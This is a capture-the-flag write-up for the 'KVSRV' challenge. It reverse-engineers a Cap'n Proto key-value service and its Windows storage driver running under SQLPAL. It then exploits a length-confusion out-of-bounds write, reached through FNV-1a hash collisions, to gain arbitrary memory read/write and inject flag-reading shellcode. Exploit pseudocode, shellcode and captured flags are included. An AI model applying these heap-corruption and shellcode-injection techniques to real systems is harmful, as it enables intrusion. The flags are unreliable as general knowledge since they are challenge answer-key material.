ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA
gICAgICAgICAgICAgfA0KKz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT
09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09P
T09PT09PT09PT09PT09PT09PT09PSsNCg0KDQoNCgAAAAAAAAAAAAAAAAAAAAAA
```

which decodes to:

```
+OK
$609
+=============================================================================================================================+
| Congrats!                                                                                                                   |
| You solved this challenge and dropped a flag: HXN{728723f6c503925a35693400a097f0eea724a4d9be27dd546bda3ab7e3cecdb6} |
| We hope you enjoyed it.                                                                                                     |
+=============================================================================================================================+
```

KVSRV

Overview and runtime environment

The challenge is provided as a Windows executable `kvservice.exe` along with a driver `secstore.sys`. They are meant to be run inside a Docker container (!) described by a `Dockerfile`.

```
Archive:  files.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2023-06-09 03:29   public_docker/
      584  2023-06-16 21:36   public_docker/Dockerfile
       34  2023-06-09 03:28   public_docker/flag.txt
  3501568  2023-06-08 18:22   public_docker/kvservice.exe
  7172096  2023-06-08 18:22   public_docker/kvservice.pdb
      243  2023-04-23 21:57   public_docker/package.manifest
      128  2023-06-16 21:40   public_docker/run_challenge_docker.sh
    10240  2023-06-08 18:22   public_docker/secstore.sys
      247  2023-06-16 00:24   public_docker/start.sh
---------                     -------
 10685140                     9 files
```

The Docker image is a Linux image provided by Microsoft Azure: mcr.microsoft.com/cosmosdb/linux/azure-cosmos-emulator, which for some reason allows to run Windows executables.

In the challenge, we are not going to run CosmosDB at all, but a custom, small service.

The main binary in the Docker image gives some insight about what is happening:

```
root@7bff71267929:/usr/local/bin/cosmos# ./cosmosdb-emulator  --version
PAL
  Build ID f5c2adfd4adf59a9733a874076f76aa381a1a25b4099d8b01ea160ae5a8ebd9e
  Build Type dev
  Git Version bc1781db56
  Built at Thu May 11 14:32:44 GMT 2023
```

PAL is the *Platform Abstraction Layer* which was used by Microsoft to provide a full-featured version of SQL Server running in a Linux environment [1]. An unofficial architecture description is available at https://threedots.ovh/slides/Drawbridge.pdf

SQLPAL offers a compatibility layer for Windows application running entirely in Linux userland. This means that the challenge is not about Windows kernel pwn! SQLPAL works by mapping (possibly patched) Windows DLLs and kernel in a single process address space with appropriate hooks to redirect calls to the surrounding operating system when needed.

Service protocol

The service is provided with debugging symbols and we can immediately see very specific namespaces:

```
`capnp::EzRpcServer::exportCap'::`1'::dtor$1
`capnp::EzRpcServer::exportCap'::`1'::dtor$2
`capnp::EzRpcServer::exportCap'::`1'::dtor$6
kj::FunctionParam<void __cdecl(void)>::Wrapper<<lambda_76db242de6174551cc6b873362f60735> >::operator()
kj::FunctionParam<void __cdecl(void)>::Wrapper<<lambda_a857bcd09d1c859f5f26812e500d631c> >::operator()
```

Our favourite search engine points us to the `capnproto` framework, which helps creating RPC services using a binary protocol (similar to protobuf, but different) from an interface desciption. Of course, we are missing the interface description which would be very helpful to use the service.

[1] https://cloudblogs.microsoft.com/sqlserver/2016/12/16/sql-server-on-linux-how-introduction/

A possible approach is to generate and ocmpile code for a sample service provided in the capnproto repository [2]. If we understand the translation process, we may be able to reverse it and recover the interface. Looking at the result, we see that auto-generated classes must be outside the `capnp` and `kj` namespace. We see such classes in our binary.

```
DelRequest::Reader
GetRequest::Reader
GetResult::Reader
Key::Reader
KeyValueStore::DelParams
KeyValueStore::GetParams
KeyValueStore::SetParams
SetRequest::Reader
Value::Reader
```

We can compile a minimal schema:

```
% cat kvsrv_study1.capnp
@0xc0dec0de12345678;

interface KeyValueStore {
  get @0 (request :UInt32) -> (result :UInt32);
  set @1 (request :UInt32) -> (result :UInt32);
  del @2 (request :UInt32) -> (result :UInt32);
}

% capnp compile -oc++ kvsrv_study1.capnp
```

In the output we see various 64-bit identifiers (capnproto generates a unique ID for each schema node by computing a half-MD5 from the parent ID and the current node):

```
static const ::capnp::_::RawSchema* const d_c014351c1563bc36[] = {
  &s_810e9adea97388d6,
  &s_875bb036f5b9eca2,
  &s_87e8f4c6e39d0d7c,
  &s_90388e7a521fc689,
  &s_b50bfe5bdfa5c85f,
  &s_ce479da1574f1bdf,
};
static const uint16_t m_c014351c1563bc36[] = {2, 0, 1};
const ::capnp::_::RawSchema s_c014351c1563bc36 = {
  0xc014351c1563bc36, b_c014351c1563bc36.words,
  50, d_c014351c1563bc36, m_c014351c1563bc36,
  6, 3, nullptr, nullptr, nullptr,
  { &s_c014351c1563bc36, nullptr, nullptr, 0, 0, nullptr }
};
#endif  // !CAPNP_LITE
static const ::capnp::_::AlignedData<34> b_810e9adea97388d6 = {
  {   0,   0,   0,   0,   5,   0,   6,   0,
    214, 136, 115, 169, 222, 154,  14, 129,
     33,   0,   0,   0,   1,   0,   1,   0,
      0,   0,   0,   0,   0,   0,   0,   0,
      0,   0,   7,   0,   0,   0,   0,   0,
      0,   0,   0,   0,   0,   0,   0,   0,
     21,   0,   0,   0,  98,   1,   0,   0,
```

We also see interesting byte arrays: here is a hex dump of `b_810e9adea97388d6`

```
00000000  00 00 00 00  05 00 06 00  d6 88 73 a9  de 9a 0e 81   ···· ···· ··s· ····
00000010  21 00 00 00  01 00 01 00  00 00 00 00  00 00 00 00   !··· ···· ···· ····
```

[2] https://github.com/capnproto/capnproto

```
00000020  00 00 07 00  00 00 00 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
00000030  15 00 00 00  62 01 00 00  00 00 00 00  00 00 00 00   ···· b··· ···· ····
00000040  00 00 00 00  00 00 00 00  21 00 00 00  3f 00 00 00   ···· ···· !··· ?···
00000050  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
00000060  6b 76 73 72  76 5f 73 74  75 64 79 31  2e 63 61 70   kvsr v_st udy1 .cap
00000070  6e 70 3a 4b  65 79 56 61  6c 75 65 53  74 6f 72 65   np:K eyVa lueS tore
00000080  2e 67 65 74  24 50 61 72  61 6d 73 00  00 00 00 00   .get $Par ams· ····
00000090  04 00 00 00  03 00 04 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
000000a0  00 00 01 00  00 00 00 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
000000b0  0d 00 00 00  42 00 00 00  00 00 00 00  00 00 00 00   ···· B··· ···· ····
000000c0  08 00 00 00  03 00 01 00  14 00 00 00  02 00 01 00   ···· ···· ···· ····
000000d0  72 65 71 75  65 73 74 00  08 00 00 00  00 00 00 00   requ est· ···· ····
000000e0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
000000f0  00 00 00 00  00 00 00 00  08 00 00 00  00 00 00 00   ···· ···· ···· ····
00000100  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
```

Some of these byte arrays contain more identifiers: here we see that KeyValueStore has identifier `0xc014351c1563bc36`, parent `0xc0dec0de12345678` (from the input file) and several children objects including `0x810e9adea97388d6`:

```
00000000  00 00 00 00  05 00 06 00  36 bc 63 15  1c 35 14 c0   ···· ···· 6·c· ·5··
00000010  13 00 00 00  03 00 00 00  78 56 34 12  de c0 de c0   ···· ···· xV4· ····
00000020  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
00000030  15 00 00 00  0a 01 00 00  25 00 00 00  07 00 00 00   ···· ···· %··· ····
00000040  00 00 00 00  00 00 00 00  21 00 00 00  c7 00 00 00   ···· ···· !··· ····
00000050  99 00 00 00  07 00 00 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
00000060  6b 76 73 72  76 5f 73 74  75 64 79 31  2e 63 61 70   kvsr v_st udy1 .cap
00000070  6e 70 3a 4b  65 79 56 61  6c 75 65 53  74 6f 72 65   np:K eyVa lueS tore
00000080  00 00 00 00  00 00 00 00  00 00 00 00  01 00 01 00   ···· ···· ···· ····
00000090  0c 00 00 00  03 00 05 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
000000a0  d6 88 73 a9  de 9a 0e 81  a2 ec b9 f5  36 b0 5b 87   ··s· ···· ···· 6·[·
000000b0  51 00 00 00  22 00 00 00  00 00 00 00  00 00 00 00   Q··· "··· ···· ····
000000c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
000000d0  45 00 00 00  07 00 00 00  01 00 00 00  00 00 00 00   E··· ···· ···· ····
000000e0  7c 0d 9d e3  c6 f4 e8 87  df 1b 4f 57  a1 9d 47 ce   |··· ···· ··OW ··G·
000000f0  39 00 00 00  22 00 00 00  00 00 00 00  00 00 00 00   9··· "··· ···· ····
00000100  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
00000110  2d 00 00 00  07 00 00 00  02 00 00 00  00 00 00 00   -··· ···· ···· ····
00000120  89 c6 1f 52  7a 8e 38 90  5f c8 a5 df  5b fe 0b b5   ···R z·8· _··· [···
00000130  21 00 00 00  22 00 00 00  00 00 00 00  00 00 00 00   !··· "··· ···· ····
00000140  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ···· ···· ···· ····
00000150  15 00 00 00  07 00 00 00  67 65 74 00  00 00 00 00   ···· ···· get· ····
00000160  00 00 00 00  00 00 01 00  73 65 74 00  00 00 00 00   ···· ···· set· ····
00000170  00 00 00 00  00 00 01 00  64 65 6c 00  00 00 00 00   ···· ···· del· ····
00000180  00 00 00 00  00 00 01 00  00 00 00 00  01 00 01 00   ···· ···· ···· ····
```

More research shows that these byte arrays are actually encoded through capnproto schemas, as explained at https://github.com/capnproto/capnproto/issues/673. Since these arrays are compiled in the binary, we look for similar patterns in `kvservice.exe` to extract the schemas, using a crude Python script.

```python
import sys
import subprocess

def find_schemas(blob):
    i = 0
    while i < len(blob):
        try:
            idx = blob.index(bytes.fromhex("00000000 0500 0600"), i)
        except ValueError:
```

```
            return
        if blob[idx + 6*16:].startswith(b"keyvaluestore.capnp:"):
            yield idx
        i = idx + 96

with open(sys.argv[1], "rb") as f:
    blob = f.read()
    for idx in find_schemas(blob):
        name = blob[idx + 6*16 : idx + 9*16].partition(b"\0")[0]
        print(hex(idx), name.decode())

        open("/tmp/schema", "wb").write(blob[idx:idx + 1024])
        subprocess.call("capnp convert flat:text proto/schema.capnp Node < /tmp/schema"
```

The output of `capnp convert` looks like:

```
    ( id = 10392427812797320924,
      displayName = "keyvaluestore.capnp:Security",
      displayNamePrefixLength = 20,
      scopeId = 18110951252036831995,
      nestedNodes = [],
      enum = (
        enumerants = [
          (name = "none", codeOrder = 0),
          (name = "pin", codeOrder = 1),
          (name = "kernel", codeOrder = 2),
          (name = "max", codeOrder = 3) ] ),
      isGeneric = false ),
```

To reconstruct the exact schema, we use the following approach:

- maintain a reverse-engineered `keyvaluestore.capnp` file
- compile it to a binary schema `capnp compile -o/bin/cat keyvaluestore.capnp`
- dump the binary schema using `capnp convert binary:text schema.capnp CodeGeneratorRequest`
- compare to dumps from `kvservice.exe` and modify the interface file accordingly

We obtain the following schema after a few iterations:

```
@0xfb57063532124afb;

enum Security {
  none @0;
  pin @1;
  kernel @2;
  max @3;
}

struct Key {
  key @0 :Text;
  pin @1 :UInt32;
  security @2 :Security;
}

struct Value {
  union {
    i32 @0 :Int32;
    u32 @1 :UInt32;
    i64 @2 :Int64;
    u64 @3 :UInt64;
    txt @4 :Text;
    data @5 :Data;
```

```
  }
}

enum Error {
  success @0;
  notFound @1;
  invalidSecurity @2;
  invalidPin @3;
  kernelError @4;
}

struct GetRequest { key @0 :Key; }
struct GetResult { error @0 :Error; value @1 :Value; }

struct SetRequest { key @0 :Key; value @1 :Value; }
struct SetResult { error @0 :Error; }

struct DelRequest { key @0 :Key; }
struct DelResult { error @0 :Error; }

interface KeyValueStore {
  get @0 (request :GetRequest) -> (result :GetResult);
  set @1 (request :SetRequest) -> (result :SetResult);
  del @2 (request :DelRequest) -> (result :DelResult);
}
```

We can compare the generated ids to the ones from the binary to confirm that all schema elements are correct. The Python library pycapnp can be used to issue requests to the actual server:

```
SERVER = '35.205.26.219:42042'
import capnp
kv = capnp.load("proto/keyvaluestore.capnp")
cli = capnp.TwoPartyClient(SERVER)
srv = cli.bootstrap().cast_as(kv.KeyValueStore)

resp = srv.set({"key": {"key": "hello", "pin": 0, "security": 0}, "value": {"txt": "wo
# ( result = (error = success) )
resp = srv.get({"key": {"key": "hello", "pin": 0, "security": 0}}).wait()
# ( result = (error = success, value = (txt = "world")) )
```

Storage driver

Before examining the service, we can analyze the driver, because it is very small (10kB driver file, about 5kB of instructions). It is a Windows driver, but it is going to run as library inside a Linux process through SQLPAL.

There are online resources about implementing or reversing Windows drivers:

- https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-driver-objects
- https://voidsec.com/windows-drivers-reverse-engineering-methodology/#windows-driver-101

Most types are available in Windows C headers, and the entry point signature is very precise:

```
void DriverEntry(PDRIVER_OBJECT drv) {
  ...

  chk = __security_cookie ^ (ulonglong)&canary;
  dev = NULL;
  RtlInitUnicodeString(&devname,u_\Device\SECSTORE_140003000);
```

```
  ret = IoCreateDevice(drv,0xa0,(PUNICODE_STRING)&devname,0x22,0x100,false,&dev);
  if (-1 < ret) {
    drv->MajorFunction[0] = IRPFuncCreate;
    drv->MajorFunction[2] = IRPFuncClose;
    drv->MajorFunction[0xe] = IRPFuncIOCTL;
    drv->DriverUnload = FuncUnload;
    RtlInitUnicodeString(&dosname,u_\DosDevices\SECSTORE_140003028);
    ret = IoCreateSymbolicLink(&dosname,&devname);
    if (ret < 0) {
      IoDeleteDevice(dev);
    }
  }
  __security_check_cookie(chk ^ (ulonglong)&canary);
  return;
}
```

The driver defines standard boilerplate and an IOCTL method, which must be analyzed in detail: 3 ioctls are defined.

```
NTSTATUS IRPFuncIOCTL(PDEVICE_OBJECT dev,IRP *irp) {
  ...
  ret = 0;
  ext = (DevExtension *)dev->DeviceExtension;
  stackLoc = (custom_IOStackLocation *)maybeIoGetCurrentIrpStackLocation(irp);
  ilon = stackLoc->DevIoctl.InputBufferLength;
  olen = stackLoc->DevIoctl.OutputBufferLength;
  ioctl_code = stackLoc->DevIoctl.IOControlCode;
  switch (ioctl_code) {
  case 0xfee74008:
    if ((ilon == 0x18) && (olen == 8)) {
      OperationGet(ext,irp->AssociatedIrp.SystemBuffer,irp->AssociatedIrp.SystemBuffer);
      (irp->IoStatus).Information = 8;
    }
    else {
      ret = -0x3ffffffc;
    }
    break;
  case 0xfee78004:
    if ((ilon == 0x18) && (olen == 8)) {
      OperationSet(ext,irp->AssociatedIrp.SystemBuffer,irp->AssociatedIrp.SystemBuffer);
      (irp->IoStatus).Information = 8;
    }
    else {
      ret = -0x3fffffc;
    }
    break;
  case 0xfee7800c):
    if ((ilon == 8) && (olen == 8)) {
      OperationDel(ext,irp->AssociatedIrp.SystemBuffer,irp->AssociatedIrp.SystemBuffer);
      (irp->IoStatus).Information = 8;
    }
    else {
      ret = -0x3fffffc;
    }
    break;
  default:
    ret = -0x3ffffff0;
  }
  (irp->IoStatus).field0_0x0.Status = ret;
  IofCompleteRequest(irp,IO_NO_INCREMENT);
  return ret;
}
```

The meaning of each ioctl is inferred from the implementation of the corresponding functions: they use an existing Windows API data structure (RTL Tree) to manipulate data, and we recognize a get/set/del API.

```
void OperationGet(DevExtension *ext,StoreReq *reqin,StoreReq *reqout) {
  local_18 = __security_cookie ^ (ulonglong)auStack_48;
  if (((reqin->buf == NULL) || (reqin->size == 0)) || (0x80000 < (uint)reqin->size)) {
    reqout->key = 0;
  }
  else {
    key = reqin->key;
```

```
    ProbeForWrite(reqin->buf,reqin->size,1);
    ExAcquireFastMutex(&ext->lock);
    item = (StoreItem *)RtlLookupElementGenericTableAvl(ext,&key);
    ExReleaseFastMutex(&ext->lock);
    if (item == NULL) {
      reqout->key = 0;
    }
    else {
      memmove(reqin->buf,item->Value,(ulonglong)(uint)reqin->size);
      reqout->key = 1;
    }
  }
  __security_check_cookie(local_18 ^ (ulonglong)auStack_48);
  return;
}
```

In the Get/Set operations, the amount of data to be copied is controlled by the caller, and the SET operation has a specific vulnerable case:

```
  itemref = (StoreItem *)
        RtlInsertElementGenericTableAvl(&ext->tree,buf,reqin->size + 8,&created);
  ExReleaseFastMutex(&ext->lock);
  if (itemref == NULL) {
    ExFreePoolWithTag(buf,0);
    reqout->key = 0;
  }
  else {
    if (created == false) {
      dest = itemref->Value;
      memmove(dest,buf->Value,(ulonglong)(uint)reqin->size);
    }
    ExFreePoolWithTag(buf,0);
    reqout->key = 1;
  }
```

when updating an existing value in the tree, the existing tree node is reused to the new data, which has great potential for OOB writes.

In a RTLTree, there is no explicit separation between keys and values. The programmer provides a custom comparison function:

```
undefined8 ItemCompare(PRTL_AVL_TABLE tree,StoreItem *item1,StoreItem *item2) {
  undefined8 ret;

  if (item1->Key < item2->Key || item1->Key == item2->Key) {
    if (item1->Key < item2->Key) {
      ret = 0;
    }
    else {
      ret = 2;
    }
  } else {
    ret = 1;
  }
  return ret;
}
```

The implementation of this function shows that the key is a 64-bit integer, whereas values are all remaining bytes in the object.

The structure of `RtlTree` (actually `RTL_AVL_TABLE`) can be found online and we mainly need to know the `PRTL_BALANCED_LINKS` type definition:

```
typedef struct _RTL_BALANCED_LINKS
{
     PRTL_BALANCED_LINKS Parent;
     PRTL_BALANCED_LINKS LeftChild;
     PRTL_BALANCED_LINKS RightChild;
     CHAR Balance;
     UCHAR Reserved[3];
} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS;
```

So it is a binary tree, where each node contains 3 pointers to its parent and 2 children. It turns out that node data is stored inline after the same structure.

Analysis of the main executable

We now need to understand how the public service API (which uses strings as keys) relates to the driver implementation (where keys are integers). Since the challenge is about a Key-Value store we can expect that the public API somehow relates to the data structure from the driver.

In capnproto services the programmer is expected to provide a class with implementations to connect to the generic, auto-generated code from the protocol definition. In this executable the implementations are provided as methods of the `KeyValueStoreImpl` class.

After walking down the class tree, and comparing with the interface definition, we observe the following special features:

- if the PIN security is used, a key is associated to a PIN, and the correct PIN must be supplied to manipulate it
- if the Kernel security is used, the value is not stored in the service, but through the device driver. In our SQLPAL case, since everything is accessible in the process address space this does not really make any difference.

Looking at a few simple methods of the `KeyValueStoreImpl` class we can reconstruct the following structure:

```
struct Impl {
  Server base   // size 16
  Driver driver // size 8
  map<str,ProtectedValue> // size 16
  shared_mutex lock // size 8
  capng::server // size 16
  ...
}
```

And ProtectedValue uses the `kj::OneOf` class to implement a tagged union for all supported types of the interface. Again this class has several little C++ methods (GetValue, SetValue, CheckAccess, SetKernelKey) making it easier to understand the purpose of each field.

```
struct ProtectedValue {
  bool isset; // pad 3
  u32  pinCode;
  u16  security; // pad 6
  OneOf value;   // size 40
  u64  kernelKey;
}
```

Something important is missing: in the secstore drivers, the keys are integers (u64) whereas the service API uses strings. The `kernelKey` field is used to link these conventions, but how is it determined? It is a 32-bit FNV-1a hash!

```
uint keyhash(string &s) {
  h := 0x811c9dc5
  for i := 0; i < s.size(); i++ {
    h = (h ^ s[i]) * 0x1000193
```

```
  }
}
```

The interface with the driver uses 2 important methods on `ProtectedValue`: `as_bytes` to obtain a binary serialization and `bytes_length` to obtain the quantity of data to be read. When an entry is in "kernel mode", the userland code does not have string contents but remembers their length.

We now have all ingredients for the vulnerability:

- the "userland" key-value map and the "kernel-land" AVL tree are not a 1-1 mapping
- the kernel driver accepts untrusted length values from userland requests
- a "length confusion" happens when multiple userland entries map to the same driver entry, through an easily computable hash collision

Collisions in the FNV hash

The driver vulnerability has the following preconditions:

- the OOB write happens when updating an existing entry (identified by a `u64` key)
- the KV service will delete the key if we update an entry (identified by a string key)

Therefore, if we find 2 string key hashing to the same numerical value, they will have the same `kernelKey` allowing for exploits.

We are going to need collisions in the FNV-32 hash. Fortunately, this hash function is very weak and the birthday principle tells us that only 2^16 (approximately) computations will give collisions. For example the strings `"azud"` and `"3Mfp"` have the same hash, and can be found by a simple loop over alphanumeric strings of length 4.

However, for convenience we will require many preimages of the same numerical key because we may need to write multiple times to the same tree entry: in order to do that we need the KVService to see a new string key at each request.

The following property (length extension) will be useful: if `FNV(x)=FNV(y)` then also `FNV(x+suffix)==FNV(y+suffix)`. Another property is that if `FNV(x)==0` then `FNV(x+c)=c*0x1000193` if `c` is a single byte. This is useful to create many colliding keys such that the hashes follow a known ordering:

```
0x0, 0x1000193, 0x2000326, 0x30004b9, 0x400064c,
0x50007df, 0x6000972, 0x7000b05, 0x8000c98, 0x9000e2b
```

which is useful to control the tree structure.

The preimages of zero can be found by a meet-in-the-middle approach or naïve bruteforce. For example, each of the following alphanumeric strings is hashed to zero:

```
b6xcCI0 pZhazKK Vu6a4Nw SN4cvXo tdYaw3a raEdTgT f5nbauN L6bdLGp
0oqdHVs 08Rd9dN abrbwSh Z2Uacic 8YOa8zd GjEdQbJ TfCc6Ba yREbcay
K7fbptG caWcxFM cIUa5Au b0ccrhg BO9cffN ZodchqL zTHbfXW nlTcUW2
z6Kbhig uaNc8AW 3SZdGLV qfzadN5 tqHbCwR ThIdyUv llldLVO Br1c8bg
Zb4acOx XLwcJbk v1Ib1dV Uaqda4s MFwdsCW ncUdZLQ YumdPUQ 8h7cNqN
```

Tree node layout and arbitrary memory read/write

From the name of the `RTL_AVL_TABLE` we can assume that the tree is a classical balanced (AVL) binary tree, using the numerical value of the keys for ordering. We will not use the balancing algorithm in the exploit, but we need to know that it is a binary tree. In particular, for each node, the left subtree contains smaller keys, the right subtree contains larger keys.

So the leftmost part of the tree must look like this:

```
       Node1 ...
      /     \
Node0        Node2
```

And we know that pointers are stored in nodes, so Node1 will contain pointers to Node0 and Node2.

We observe experimentally that even without heavy spraying, the nodes are allocated close to each other. If we assume that memory allocations happens in pool of similar sized chunks, we expect to see a possible exploit with the following strategy:

- insert values `PREFIX+DIGIT` where `FNV(PREFIX)=0` with small values of the same size containing an easy to recognize canary value
- trigger an OOB read and look for the canary

We want to obtain the following memory layout:

```
NodeX  ... [&Parent, &Node0, &Node2, DATA]
           ^^^ this is Node1
```

Using the OOB read/write from NodeX, we can obtain the nodes address, and also modify the left child of Node1 to point to an arbitrary memory area.

The problem is that if we want the tree algorithms to remain valid, we must overwrite pointers so that the target memory area looks like a valid tree node. But an area of zeros satisfies this property for `key=0`! So this is where we use our preimages.

The attack strategy is thus:

- spray until one of the nodes can overflow to the node `key=1`
- overwrite the left child pointer of `key=1` to an address containing zeroes, followed by the memory region of interest
- use get/set with `key=0` to read/write to the memory region using the OOB bug

```
NodeX ... [&Parent, ARBITRARY ADDRESS, &Node2, DATA] = Node1
                        |
                    [0 0 0 0 0 Interesting data to read/write]
```

Memory map

To use the exploit effectively, we need to find writable memory regions containing zeroes followed by interesting areas or pointers. This was done by visual inspection of the output of the `pmap` command. This is complemented by inspection of the DATA regions in some critical DLLs such as `ntoskrnl.dll` and `sqlpal.dll`. We observe:

- 2 pages in RWX mode, possibly allowing shellcode execution
- a large array of writable function pointers in `sqlpal.dll` representing the abstraction layer (interactions between the “userland” and the host OS.)

Inspection in GDB shows that the RWX pages are located in drivers, one of them is in `secstore.sys`!

```
0x6002d1000        0x6002d2000     0x1000        0x0  r-xp   text
0x6002d2000        0x6002d3000     0x1000        0x0  r--p   rdata
0x6002d3000        0x6002d5000     0x2000        0x0  rw-p   data,pdata
0x6002d5000        0x6002d6000     0x1000        0x0  r-xp   PAGE
0x6002d6000        0x6002d7000     0x1000        0x0  rwxp   INIT
```

The `INIT` region is just after the end of `PAGE`, which contains zeros so it can be used by the technique above. The `rdata` section contains relocations, including a pointer to `RtlInitUnicodeString` which is at a known offset inside `SQLPAL.DLL`.

These memory regions have randomized addresses but we can defeat ASLR in the following way:

- the driver location has very low entropy: only 16 locations are possible
- the offset of sqlpal.dll can be determined by looking at the GOT of the driver

Arbitrary code execution and exploit

The exploit strategy is summarized as follows:

- spray tree nodes using specific FNV hashes to manipulate the leftmost node (key=0) of the tree

- use tree node 0 to point to arbitrary memory locations and perform arbitrary read/write
- find the location of the driver at one of the 16 possible randomized locations If the location is wrong, the service crashes, retry.
- once the driver is found, read the `rdata` section to locate `sqlpal.dll`
- write a shellcode in the RWX region of the driver
- overwrite the "syscall" tables of SQLPAL to replace a commonly used function by a trampoline to the shellcode

We use the following shellcode:

```
0x00000001   1                      52  push rdx
0x00000000   1                      51  push rcx
0x00000002   1                      57  push rdi
0x00000003   1                      56  push rsi
0x00000004   2                    eb09  jmp 0xf
0x00000006   9      666c61672e74787400  "flag.txt\0"
0x0000000f   7          488d3df0ffffff  lea rdi, [rip - 0x10]
0x00000016   2                    31f6  xor esi, esi
0x00000018   5                baff010000  mov edx, 0x1ff
0x0000001d   5                b802000000  mov eax, 2
0x00000022   2                    0f05  syscall
0x00000024  10    48bedec0dec0efbeadde  movabs rsi, 0xdeadbeefc0dec0de
0x0000002e   2                    89c7  mov edi, eax
0x00000030   5                ba80000000  mov edx, 0x80
0x00000035   2                    31c0  xor eax, eax
0x00000037   2                    0f05  syscall
0x00000039  10    48baea1defbeaddec0c0  movabs rdx, 0xc0c0deadbeef1dea
0x00000043   2                    31c0  xor eax, eax
0x00000045   1                      5e  pop rsi
0x00000046   1                      5f  pop rdi
0x0000004a   1                      59  pop rcx
0x00000047   2                    ffd2  call rdx
0x00000049   1                      5a  pop rdx
0x0000004b   1                      c3  ret
```

During the exploit, the placeholder addresses will be replaced by appropriate leaked address. Equivalent C code:

```c
int trampoline(args) {
    // Memory area where the flag is copied
    void *dest = 0xdeadbeefc0dec0de;
    int fd = open("flag.txt", O_RDONLY, 0777);
    read(fd, dest, 128);
    // Actual address of replaced function
    int (*dest2)() = 0xc0c0deadbeef1dea;
    return dest2(args);
}
```

In the shellcode, it is important to save and restore registers that may not be preserved by the system calls. Since we have arbitrary memory read/write, we choose to read the flag into a memory location with a known address. For example, we read it next to the shellcode address. A subsequent call to the arbitrary read primitive will reveal the flag.

Note that since we choose to read the flag to a memory area immediately after the shellcode, RIP relative addressing could have been used to avoid a placeholder.

Exploit pseudocode

We define our primitives using a large pool of FNV preimages of zero, and an initial tree of suitably located tree nodes.

```
PREIMAGE_POOL = [strings such that fnv(s) = 0]

def oob_read_key(i, data):
    key1 = next(PREIMAGE_POOL) + i
    key2 = next(PREIMAGE_POOL) + i
    assert hash(key1) == hash(key2) == i
    set(key1, large string)
    set(key2, small string)
    set(key2, small string) # force realloc
    # now get(key1) accesses key2 with the wrong size
    return key1

def oob_write(i, data):
    key = next(PREIMAGE_POOL) + i
    assert hash(key) == i
    set(key, data)

while True:
    allocate nodes 0 to 10
    for i in 0..10:
        if OOB(nodes[i]) contains nodes[1]:
            pivot_idx = i
            break

def arb_read(ptr, data):
    set(pivot_idx, fakenode1 with left child = ptr - PADDING)
    return oob_read[PADDING:]

def arb_write(ptr, data):
    set(pivot_idx, fakenode1 with left child = ptr - PADDING)
    oob_write(PADDING + data)
```

For each tree node, we choose 2 colliding keys and insert a large string on the first key, then 2 small strings on the second key. Since the length is stored in the userland server and the driver does not check lengths, access using the first key will always use the large length. Setting the second key twice will force a reallocation (when updating an existing key, the server issues a Delete ioctl to the driver before inserting the entry again) and create opportunity for a heap leak if we choose a small size.

To obtain a OOB write, no special preparation is required: once a node is allocated, it is not reallocated (unless deleted and created) so any write with the wrong length will overflow. To avoid deletion of the tree node, each such write must use a freshly chosen colliding key.

A pool of 30 preimages of zero was more than enough to satisfy the exploit needs:

- for OOB reads, 2 fixed keys (one small and one large) mapping to the same kernel key are enough for the duration of the exploit
- for OOB writes, a new large key must be chosen for each operation

Once the primitives are defined, we can switch to the concrete attack:

```
while True:
    SECSTORE_SYS_BASE = rand(6,15) << 31 + 0x2d0000
    try:
        arb_read(SECSTORE_SYS_BASE + 0x6000)
    except Crash:
        exit # start over
    compare with secstore.sys INIT contents
    if OK:
        break
```

```
# Now assume secstore.sys base address is known and correct
RtlInitUnicodeString = arb_read(SECSTORE_SYS_BASE.rdata + offset1)
SQLPAL_DLL_BASE = RtlInitUnicodeString - offset2

# Overwrite VirtualMemory_Allocate_v2_ntabi with a trampoline
rwx_page = SECSTORE_SYS_BASE + rwx_offset
shellcode.dest_address = rwx_page + 0x700
arb_write(rwx_page + 0x600, shellcode)
arb_write(SQLPAL_DLL_BASE + VirtualMemory_Allocate_v2_ntabi_thunk,
    rwx_page + 0x600)
flag = arb_read(rwx_page + 0x700)
```

Since the exploit depends on the probabilistic nature of the first step (guessing the location of `secstore.sys`) it may often crash the server resulting in a rather tedious latency between retries. However, once ALSR has leaked, the rest runs reliably.

It required a dozen retries on the official instance to obtain the flag:

`HXN{59fc45467ff5b9730bdc0c715dc758aa562b3732452f118d7bdb7e965d28eeef}`